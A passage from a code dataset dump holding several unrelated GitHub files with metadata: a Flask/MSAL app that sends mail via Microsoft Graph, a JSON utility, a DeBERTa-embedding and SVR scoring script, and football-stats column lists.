new_peak_list\n", "repo_name": "pangws1211/ChromatographAPI", "sub_path": "lib/ChromAPI.py", "file_name": "ChromAPI.py", "file_ext": "py", "file_size_in_byte": 7091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "lib.ChromAlgorithm.data_Bunching", "line_number": 56, "usage_type": "call"}, {"api_name": "lib.ChromAlgorithm.Detrand", "line_number": 60, "usage_type": "call"}, {"api_name": "lib.ChromAlgorithm.SmoothData", "line_number": 67, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 83, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 86, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 89, "usage_type": "call"}, {"api_name": "lib.thresholdCalc.threshold", "line_number": 94, "usage_type": "call"}, {"api_name": "lib.thresholdCalc.threshold", "line_number": 95, "usage_type": "call"}, {"api_name": "lib.peakDetectionAlgorithm.peakSearchAlgorithm", "line_number": 97, "usage_type": "call"}, {"api_name": "lib.peakDetectionAlgorithm.adjustPeaksBoundary", "line_number": 119, "usage_type": "call"}, {"api_name": "lib.PeakSymmetry.calcPeakSymmetry", "line_number": 130, "usage_type": "call"}, {"api_name": "lib.Peak.Peak", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 165, "usage_type": "call"}]} {"seq_id": "70623422950", "text": "import requests\nimport json\nfrom flask import Flask, render_template, session, request, redirect, url_for, flash\nimport forms\nfrom flask_session import Session\nfrom flask_bootstrap import Bootstrap4\nimport msal\nimport app_config\nimport lorem\nfrom werkzeug.middleware.proxy_fix import ProxyFix\nfrom datetime import datetime\n\n\n# initialization\napp = Flask(__name__)\napp.config.from_object(app_config)\napp.config['SECRET_KEY'] = app_config.SECRET_KEY\nSession(app)\nbootstrap = Bootstrap4(app)\napp.wsgi_app = ProxyFix(app.wsgi_app, x_proto=1, x_host=1)\n\n\n@app.route(\"/\")\ndef index():\n if not session.get(\"user\"):\n return redirect(url_for(\"login\"))\n return render_template('index.html', user=session[\"user\"], version=msal.__version__)\n\n\n@app.route(\"/login\")\ndef login():\n # Technically we could use empty list [] as scopes to do just sign in,\n # here we choose to also collect end user consent upfront\n session[\"flow\"] = _build_auth_code_flow(scopes=app_config.SCOPE)\n return render_template(\"login.html\", auth_url=session[\"flow\"][\"auth_uri\"], version=msal.__version__)\n\n\n@app.route(app_config.REDIRECT_PATH) # Its absolute URL must match your app's redirect_uri set in AAD\ndef authorized():\n try:\n cache = _load_cache()\n result = _build_msal_app(cache=cache).acquire_token_by_auth_code_flow(\n session.get(\"flow\", {}), request.args)\n if \"error\" in result:\n return render_template(\"auth_error.html\", result=result)\n session[\"user\"] = result.get(\"id_token_claims\")\n _save_cache(cache)\n except ValueError: # Usually caused by CSRF\n pass # Simply ignore them\n return redirect(url_for(\"index\"))\n\n\n@app.route(\"/logout\")\ndef logout():\n session.clear() # Wipe out user and its token cache from session\n return redirect( # Also logout from your tenant's web session\n app_config.AUTHORITY + \"/oauth2/v2.0/logout?post_logout_redirect_uri=\" + url_for(\"index\", _external=True))\n\n\n@app.route(\"/graphcall\")\ndef graphcall():\n token = _get_token_from_cache(app_config.SCOPE)\n if not token:\n return redirect(url_for(\"login\"))\n graph_data = requests.get( # Use token to call downstream service\n app_config.ENDPOINT,\n headers={'Authorization': 'Bearer ' + token['access_token']},\n ).json()\n return render_template('display.html', result=graph_data, version=msal.__version__)\n\n\n@app.route(\"/get-access-token\")\ndef get_access_token():\n token = _get_token_from_cache(app_config.SCOPE)\n if not token:\n return redirect(url_for(\"login\"))\n token_type = token['token_type']\n access_token = token['access_token']\n expires_in = token['expires_in']\n return render_template('get_access_token.html', raw_access_token=token, token_type=token_type,\n access_token=access_token, expires_in=expires_in, version=msal.__version__)\n\n\n@app.route(\"/send-mail\", methods=['GET', 'POST'])\ndef send_mail():\n if not session.get(\"user\"):\n return redirect(url_for(\"login\"))\n\n form = forms.SendMailForm()\n\n # get from email address (userPrincipalName)\n from_email = _get_user_profile_json()['userPrincipalName']\n\n if form.validate_on_submit():\n recipient = form.recipient.data\n subject = form.subject.data\n content = form.content.data\n save_to_sent_items = form.save_to_sent_items.data\n\n # get 'access_token'\n token = _get_token_from_cache(app_config.SCOPE)\n if not token:\n return redirect(url_for(\"login\"))\n access_token = token['access_token']\n\n # send email\n flag = _send_mail(recipient=recipient, subject=subject, content=content, access_token=access_token,\n save_to_sent_items=save_to_sent_items)\n if flag:\n flash('Your message has been successfully submitted to the corresponding API.')\n else:\n flash('There is an error that occurred. Please refer to the debug log for more information.')\n\n # define form default values\n form.subject.data = 'TEST MESSAGE [' + str(datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")) + ']'\n form.content.data = lorem.paragraph()\n\n return render_template('send_mail.html', form=form, from_email=from_email, version=msal.__version__)\n\n\ndef _send_mail(recipient, subject, content, access_token, save_to_sent_items=False):\n if recipient is not None and subject is not None and content is not None and access_token is not None:\n user_ms_id = _get_user_profile_json()['id']\n url = 'https://graph.microsoft.com/v1.0/users/' + str(user_ms_id) + '/sendMail'\n print(url)\n payload = json.dumps({\n \"message\": {\n \"subject\": str(subject),\n \"body\": {\n \"contentType\": \"HTML\",\n \"content\": str(content)\n },\n \"toRecipients\": [\n {\n \"emailAddress\": {\n \"address\": str(recipient)\n }\n }\n ]\n },\n \"saveToSentItems\": str(save_to_sent_items).lower()\n })\n\n headers = {\n 'Authorization': 'Bearer ' + str(access_token),\n 'Content-Type': 'application/json'\n }\n\n # send request\n response = requests.request(\"POST\", url, headers=headers, data=payload)\n\n # capture response and return to the caller\n print(f\"Status Code: {response.status_code}, Response: {response.text}\")\n if str(response.status_code) != '202':\n return False\n return True\n\n\n@app.route('/get-user-profile')\ndef get_user_profile():\n url = \"https://graph.microsoft.com/v1.0/me/\"\n payload = {}\n token = _get_token_from_cache(app_config.SCOPE)\n if not token:\n return redirect(url_for(\"login\"))\n access_token = token['access_token']\n headers = {\n 'Authorization': 'Bearer ' + str(access_token)\n }\n response = requests.request(\"GET\", url, headers=headers, data=payload).json()\n return render_template('get_user_profile.html', user_profile=response)\n\n\ndef _get_user_profile_json():\n url = \"https://graph.microsoft.com/v1.0/me/\"\n token = _get_token_from_cache(app_config.SCOPE)\n if not token:\n return redirect(url_for(\"login\"))\n access_token = token['access_token']\n response = requests.request(\"GET\", url, headers={'Authorization': 'Bearer ' + str(access_token)}).json()\n return response\n\n\ndef _load_cache():\n cache = msal.SerializableTokenCache()\n if session.get(\"token_cache\"):\n cache.deserialize(session[\"token_cache\"])\n return cache\n\n\ndef _save_cache(cache):\n if cache.has_state_changed:\n session[\"token_cache\"] = cache.serialize()\n\n\ndef _build_msal_app(cache=None, authority=None):\n return msal.ConfidentialClientApplication(\n app_config.CLIENT_ID, authority=authority or app_config.AUTHORITY,\n client_credential=app_config.CLIENT_SECRET, token_cache=cache)\n\n\ndef _build_auth_code_flow(authority=None, scopes=None):\n return _build_msal_app(authority=authority).initiate_auth_code_flow(\n scopes or [],\n redirect_uri=url_for(\"authorized\", _external=True))\n\n\ndef _get_token_from_cache(scope=None):\n cache = _load_cache() # This web app maintains one cache per session\n cca = _build_msal_app(cache=cache)\n accounts = cca.get_accounts()\n if accounts: # So all account(s) belong to the current signed-in user\n result = cca.acquire_token_silent(scope, account=accounts[0])\n _save_cache(cache)\n return result\n\n\napp.jinja_env.globals.update(_build_auth_code_flow=_build_auth_code_flow) # Used in template\n\nif __name__ == \"__main__\":\n app.run()\n", "repo_name": "duonghuuphuc/msgraph-sendmail-python", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 7769, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 15, "usage_type": "call"}, {"api_name": "app_config.SECRET_KEY", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask_session.Session", "line_number": 18, "usage_type": "call"}, {"api_name": "flask_bootstrap.Bootstrap4", "line_number": 19, "usage_type": "call"}, {"api_name": "werkzeug.middleware.proxy_fix.ProxyFix", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 27, "usage_type": "name"}, {"api_name": "msal.__version__", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 34, "usage_type": "name"}, {"api_name": "app_config.SCOPE", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 35, "usage_type": "name"}, {"api_name": "msal.__version__", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.session.get", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 50, "usage_type": "call"}, {"api_name": "app_config.REDIRECT_PATH", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.session.clear", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 56, "usage_type": "call"}, {"api_name": "app_config.AUTHORITY", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.url_for", "line_number": 57, "usage_type": "call"}, {"api_name": "app_config.SCOPE", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 64, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 65, "usage_type": "call"}, {"api_name": "app_config.ENDPOINT", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 69, "usage_type": "call"}, {"api_name": "msal.__version__", "line_number": 69, "usage_type": "attribute"}, {"api_name": "app_config.SCOPE", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 80, "usage_type": "call"}, {"api_name": "msal.__version__", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.session.get", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 87, "usage_type": "call"}, {"api_name": "forms.SendMailForm", "line_number": 89, "usage_type": "call"}, {"api_name": "app_config.SCOPE", "line_number": 101, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 110, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 112, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "name"}, {"api_name": "lorem.paragraph", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}, {"api_name": "msal.__version__", "line_number": 118, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 150, "usage_type": "call"}, {"api_name": "app_config.SCOPE", "line_number": 163, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 165, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 171, "usage_type": "call"}, {"api_name": "app_config.SCOPE", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 178, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 178, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 180, "usage_type": "call"}, {"api_name": "msal.SerializableTokenCache", "line_number": 185, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 186, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 186, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 187, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 193, "usage_type": "name"}, {"api_name": "msal.ConfidentialClientApplication", "line_number": 197, "usage_type": "call"}, {"api_name": "app_config.CLIENT_ID", "line_number": 198, "usage_type": "attribute"}, {"api_name": "app_config.AUTHORITY", "line_number": 198, "usage_type": "attribute"}, {"api_name": "app_config.CLIENT_SECRET", "line_number": 199, "usage_type": "attribute"}, {"api_name": "flask.url_for", "line_number": 205, "usage_type": "call"}]} {"seq_id": "14047687529", "text": "# coding:utf-8\n\"\"\"\nFilename: utils.py\nAuthor: @DvdNss\n\nCreated on 11/15/2021\n\"\"\"\n\nimport json\nimport os\n\n\ndef dict_to_json(args_dict: dict, filename: str) -> str:\n \"\"\"\n Saves a dictionnary as a json file.\n\n :param args_dict: model dictionnary\n :param filename: json file name\n \"\"\"\n\n assert filename[-5:] == '.json', \\\n \"filename must be a .json file. \"\n\n # Create intermediate folders\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n\n # Saving the config as json file\n with open(filename, 'w') as config:\n json.dump(args_dict, config, indent=2)\n\n return filename\n", "repo_name": "DvdNss/MT5ForEverything", "sub_path": "source/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 617, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.makedirs", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 29, "usage_type": "call"}]} {"seq_id": "43739065645", "text": "from transformers import AutoModel, AutoTokenizer\nimport torch\nimport torch.nn.functional as F\nfrom sklearn.metrics import mean_squared_error\nfrom tqdm import tqdm\nimport numpy as np \nimport pandas as pd\nimport os,gc,re,warnings\nimport sys\n\nfrom cuml.svm import SVR\nimport cuml\n\n\n#Fetching data from folds\ndftr = pd.read_csv('C:/Users/lionh/OneDrive/Desktop/roberta-train/data/train_folds.csv')\ndfts = pd.read_csv('C:/Users/lionh/OneDrive/Desktop/roberta-train/data/test.csv')\n\n#for ease I have defined the models here, but youb need to take it from config in actual process\ntokenizer = None\nMAX_LEN = 640\nBATCH_SIZE = 4\nmodel = {\n 'MODEL_LM_debertabase' : 'microsoft/deberta-base',\n 'MODEL_LM_debertalargev3' : 'microsoft/deberta-v3-large',\n 'MODEL_LM_debertalarge' : 'microsoft/deberta-large',\n 'MODEL_LM_debertalargemnli' : 'microsoft/deberta-large-mnli',\n 'MODEL_LM_debertaxlarge' : 'microsoft/deberta-xlarge'\n}\n\n#Code for mean pooling\ndef mean_pooling(model_output, attention_mask):\n token_embeddings = model_output.last_hidden_state.detach().cpu()\n input_mask_expanded = (\n attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float()\n )\n return torch.sum(token_embeddings * input_mask_expanded, 1) / torch.clamp(\n input_mask_expanded.sum(1), min=1e-9\n )\n\nclass EmbedDataset(torch.utils.data.Dataset):\n def __init__(self,df):\n self.df = df.reset_index(drop=True)\n def __len__(self):\n return len(self.df)\n def __getitem__(self,idx):\n text = self.df.loc[idx,\"full_text\"]\n tokens = tokenizer(\n text,\n None,\n add_special_tokens=True,\n padding='max_length',\n truncation=True,\n max_length=MAX_LEN,return_tensors=\"pt\")\n tokens = {k:v.squeeze(0) for k,v in tokens.items()}\n return tokens\n\nds_tr = EmbedDataset(dftr)\nembed_dataloader_tr = torch.utils.data.DataLoader(ds_tr,\\\n batch_size=BATCH_SIZE,\\\n shuffle=False)\nds_te = EmbedDataset(dfts)\nembed_dataloader_te = torch.utils.data.DataLoader(ds_te,\\\n batch_size=BATCH_SIZE,\\\n shuffle=False)\n\n\n\n#Extracting Embeddings from various deberta models\n\n\n\ndef get_embeddings(MODEL_NM='', MAX=640, BATCH_SIZE=4, verbose=True):\n global tokenizer, MAX_LEN\n DEVICE=\"cuda\"\n model = AutoModel.from_pretrained( MODEL_NM )\n tokenizer = AutoTokenizer.from_pretrained( MODEL_NM )\n MAX_LEN = MAX\n \n model = model.to(DEVICE)\n model.eval()\n all_train_text_feats = []\n for batch in tqdm(embed_dataloader_tr,total=len(embed_dataloader_tr)):\n input_ids = batch[\"input_ids\"].to(DEVICE)\n attention_mask = batch[\"attention_mask\"].to(DEVICE)\n with torch.no_grad():\n model_output = model(input_ids=input_ids,attention_mask=attention_mask)\n sentence_embeddings = mean_pooling(model_output, attention_mask.detach().cpu())\n # Normalize the embeddings\n sentence_embeddings = F.normalize(sentence_embeddings, p=2, dim=1)\n sentence_embeddings = sentence_embeddings.squeeze(0).detach().cpu().numpy()\n all_train_text_feats.extend(sentence_embeddings)\n all_train_text_feats = np.array(all_train_text_feats)\n if verbose:\n print('Train embeddings shape',all_train_text_feats.shape)\n \n te_text_feats = []\n for batch in tqdm(embed_dataloader_te,total=len(embed_dataloader_te)):\n input_ids = batch[\"input_ids\"].to(DEVICE)\n attention_mask = batch[\"attention_mask\"].to(DEVICE)\n with torch.no_grad():\n model_output = model(input_ids=input_ids,attention_mask=attention_mask)\n sentence_embeddings = mean_pooling(model_output, attention_mask.detach().cpu())\n # Normalize the embeddings\n sentence_embeddings = F.normalize(sentence_embeddings, p=2, dim=1)\n sentence_embeddings = sentence_embeddings.squeeze(0).detach().cpu().numpy()\n te_text_feats.extend(sentence_embeddings)\n te_text_feats = np.array(te_text_feats)\n if verbose:\n print('Test embeddings shape',te_text_feats.shape)\n \n return all_train_text_feats, te_text_feats\n\n\n#taking deberta variants one by one\nMODEL_NM = model['MODEL_LM_debertabase']\nall_train_text_feats, te_text_feats = get_embeddings(MODEL_NM)\nprint('Got debertabase embeddings')\n\nMODEL_NM = model['MODEL_LM_debertalargev3']\nall_train_text_feats2, te_text_feats2 = get_embeddings(MODEL_NM)\n\nMODEL_NM = model['MODEL_LM_debertalarge']\nall_train_text_feats2, te_text_feats2 = get_embeddings(MODEL_NM)\n\nMODEL_NM = model['MODEL_LM_debertalargemnli']\nall_train_text_feats2, te_text_feats2 = get_embeddings(MODEL_NM)\n\nMODEL_NM = model['MODEL_LM_debertaxlarge']\nall_train_text_feats2, te_text_feats2 = get_embeddings(MODEL_NM)\n\n\n\n#combinig all the embeddings\nall_train_text_feats = np.concatenate([all_train_text_feats,all_train_text_feats2,\n all_train_text_feats3,all_train_text_feats4,\n all_train_text_feats5],axis=1)\n\nte_text_feats = np.concatenate([te_text_feats,te_text_feats2,\n te_text_feats3,te_text_feats4,\n te_text_feats5],axis=1)\n\n\n#deleting all the variables to free up memory\ndel all_train_text_feats2, te_text_feats2\ndel all_train_text_feats3, te_text_feats3\ndel all_train_text_feats4, te_text_feats4\ndel all_train_text_feats5, te_text_feats5\ngc.collect()\n\nprint('concatenated embeddings have shape', all_train_text_feats.shape)\n\n\n\n#Now defining a Rapid SVR model to predict the target variable\npreds = []\nscores = []\ndef comp_score(y_true,y_pred):\n rmse_scores = []\n for i in range(len(target_cols)):\n rmse_scores.append(np.sqrt(mean_squared_error(y_true[:,i],y_pred[:,i])))\n return np.mean(rmse_scores)\n\n#for fold in tqdm(range(FOLDS),total=FOLDS):\nfor fold in range(FOLDS):\n print('#'*25)\n print('### Fold',fold+1)\n print('#'*25)\n \n dftr_ = dftr[dftr[\"FOLD\"]!=fold]\n dfev_ = dftr[dftr[\"FOLD\"]==fold]\n \n tr_text_feats = all_train_text_feats[list(dftr_.index),:]\n ev_text_feats = all_train_text_feats[list(dfev_.index),:]\n \n ev_preds = np.zeros((len(ev_text_feats),6))\n test_preds = np.zeros((len(te_text_feats),6))\n for i,t in enumerate(target_cols):\n print(t,', ',end='')\n clf = SVR(C=1)\n clf.fit(tr_text_feats, dftr_[t].values)\n ev_preds[:,i] = clf.predict(ev_text_feats)\n test_preds[:,i] = clf.predict(te_text_feats)\n print()\n score = comp_score(dfev_[target_cols].values,ev_preds)\n scores.append(score)\n print(\"Fold : {} RSME score: {}\".format(fold,score))\n preds.append(test_preds)\n \nprint('#'*25)\nprint('Overall CV RSME =',np.mean(scores))\n\n\n#preds: output of the model\n# array([[2.94900918, 2.80713797, 3.1332984 , 2.95393324, 2.66409802,\n# 2.67784142],\n# [2.72251678, 2.46881819, 2.70102072, 2.32998419, 2.05252576,\n# 2.68055749],\n# [3.63700128, 3.44540453, 3.56421232, 3.65185833, 3.40497899,\n# 3.35660815]])]\n# np.array(preds)\n# [[2.91515398 2.82003951 3.16167831 2.97052073 2.67681551 2.68956351]\n# [2.70253325 2.45898795 2.71900558 2.3118124 2.01470613 2.63774276]\n# [3.6399312 3.4656961 3.58689547 3.64418197 3.41387224 3.35341716]]\n\n\n#taking average of the predictions\nsub = dfte.copy()\nsub.loc[:,target_cols] = np.average(np.array(preds),axis=0)\nsub_columns = pd.read_csv(\"C:/Users/lionh/OneDrive/Desktop/roberta-train/data/sample_submission.csv\").columns\nsub = sub[sub_columns]", "repo_name": "DARK-art108/feedback-prize-english-language", "sub_path": "model/functional.py", "file_name": "functional.py", "file_ext": "py", "file_size_in_byte": 7620, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 63, "usage_type": "attribute"}, {"api_name": "transformers.AutoModel.from_pretrained", "line_number": 76, "usage_type": "call"}, {"api_name": "transformers.AutoModel", "line_number": 76, "usage_type": "name"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 77, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 77, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 90, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 139, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 161, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 177, "usage_type": "call"}, {"api_name": "cuml.svm.SVR", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 209, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 210, "usage_type": "call"}]} {"seq_id": "1621961704", "text": "import os\nimport requests\nimport logging\nimport time\nfrom datetime import datetime\n\nimport json\nfrom bs4 import BeautifulSoup\nimport re\nimport pandas as pd\nfrom tqdm import tqdm\n\n\n# Player Goalkeeping\nplayer_keepers = [\n \"nationality\", \"squad\", \"age\", \"birth_year\",\n \"games_gk\", \"games_starts_gk\", \"minutes_gk\", \"goals_against_gk\",\n \"goals_against_per90_gk\", \"shots_on_target_against\", \"saves\", \"save_pct\",\n \"wins_gk\", \"draws_gk\", \"losses_gk\", \"clean_sheets\", \"clean_sheets_pct\",\n \"pens_att_gk\", \"pens_allowed\", \"pens_saved\", \"pens_missed_gk\"]\n\n# Squad Advanced Goalkeeping\nkeepersadv = [\n \"goals_against_gk\", \"pens_allowed\", \"free_kick_goals_against_gk\",\n \"corner_kick_goals_against_gk\", \"own_goals_against_gk\", \"psxg_gk\",\n \"psnpxg_per_shot_on_target_against\", \"psxg_net_gk\", \"psxg_net_per90_gk\",\n \"passes_completed_launched_gk\", \"passes_launched_gk\",\n \"passes_pct_launched_gk\", \"passes_gk\", \"passes_throws_gk\",\n \"pct_passes_launched_gk\", \"passes_length_avg_gk\", \"goal_kicks\",\n \"pct_goal_kicks_launched\", \"goal_kick_length_avg\", \"crosses_gk\",\n \"crosses_stopped_gk\", \"crosses_stopped_pct_gk\",\n \"def_actions_outside_pen_area_gk\", \"def_actions_outside_pen_area_per90_gk\",\n \"avg_distance_def_actions_gk\"]\n\n# Player Standard Stats\nplayer_stats = [\n \"nationality\", \"position\", \"squad\", \"age\", \"birth_year\", \"games\",\n \"games_starts\", \"minutes\", \"goals\", \"assists\", \"goals_pens\", \"pens_made\",\n \"pens_att\", \"cards_yellow\", \"cards_red\", \"goals_per90\", \"assists_per90\",\n \"goals_assists_per90\", \"goals_pens_per90\", \"goals_assists_pens_per90\",\n \"xg\", \"npxg\", \"xa\", \"xg_per90\", \"xa_per90\", \"xg_xa_per90\", \"npxg_per90\",\n \"npxg_xa_per90\"]\n\n# Player Shooting\nplayer_shooting = [\n \"shots_total\", \"shots_on_target\", \"shots_on_target_pct\",\n \"shots_total_per90\", \"shots_on_target_per90\", \"goals_per_shot\",\n \"goals_per_shot_on_target\", \"average_shot_distance\", \"shots_free_kicks\",\n \"pens_made\", \"pens_att\", \"xg\", \"npxg\", \"npxg_per_shot\", \"xg_net\",\n \"npxg_net\"]\n\n# Squad Passing\npassing = [\n \"passes_completed\", \"passes\", \"passes_pct\", \"passes_total_distance\",\n \"passes_progressive_distance\", \"passes_completed_short\", \"passes_short\",\n \"passes_pct_short\", \"passes_completed_medium\", \"passes_medium\",\n \"passes_pct_medium\", \"passes_completed_long\", \"passes_long\",\n \"passes_pct_long\", \"assists\", \"xa_net\", \"assisted_shots\",\n \"passes_into_final_third\", \"passes_into_penalty_area\",\n \"crosses_into_penalty_area\", \"progressive_passes\"]\n\n# Squad Pass Types\npassing_types = [\n \"passes\", \"passes_live\", \"passes_dead\", \"passes_free_kicks\",\n \"through_balls\", \"passes_pressure\", \"passes_switches\", \"crosses\",\n \"corner_kicks\", \"corner_kicks_in\", \"corner_kicks_out\",\n \"corner_kicks_straight\", \"passes_ground\", \"passes_low\", \"passes_high\",\n \"passes_left_foot\", \"passes_right_foot\", \"passes_head\", \"throw_ins\",\n \"passes_other_body\", \"passes_completed\", \"passes_offsides\", \"passes_oob\",\n \"passes_intercepted\", \"passes_blocked\"]\n\n# Squad Goal and Shot Creation\ngca = [\n \"sca\", \"sca_per90\", \"sca_passes_live\", \"sca_passes_dead\", \"sca_dribbles\",\n \"sca_shots\", \"sca_fouled\", \"sca_defense\", \"gca\", \"gca_per90\",\n \"gca_passes_live\", \"gca_passes_dead\", \"gca_dribbles\", \"gca_shots\",\n \"gca_fouled\", \"gca_defense\"]\n\n# Squad Defensive Actions\ndefense = [\n \"tackles\", \"tackles_won\", \"tackles_def_3rd\", \"tackles_mid_3rd\",\n \"tackles_att_3rd\", \"dribble_tackles\", \"dribbles_vs\", \"dribble_tackles_pct\",\n \"dribbled_past\", \"pressures\", \"pressure_regains\", \"pressure_regain_pct\",\n \"pressures_def_3rd\", \"pressures_mid_3rd\", \"pressures_att_3rd\", \"blocks\",\n \"blocked_shots\", \"blocked_shots_saves\", \"blocked_passes\", \"interceptions\",\n \"tackles_interceptions\", \"clearances\", \"errors\"]\n\n# Squad Possession\npossession = [\n \"touches\", \"touches_def_pen_area\", \"touches_def_3rd\", \"touches_mid_3rd\",\n \"touches_att_3rd\", \"touches_att_pen_area\", \"touches_live_ball\",\n \"dribbles_completed\", \"dribbles\", \"dribbles_completed_pct\",\n \"players_dribbled_past\", \"nutmegs\", \"carries\", \"carry_distance\",\n \"carry_progressive_distance\", \"progressive_carries\",\n \"carries_into_final_third\", \"carries_into_penalty_area\", \"miscontrols\",\n \"dispossessed\", \"pass_targets\", \"passes_received\", \"passes_received_pct\",\n 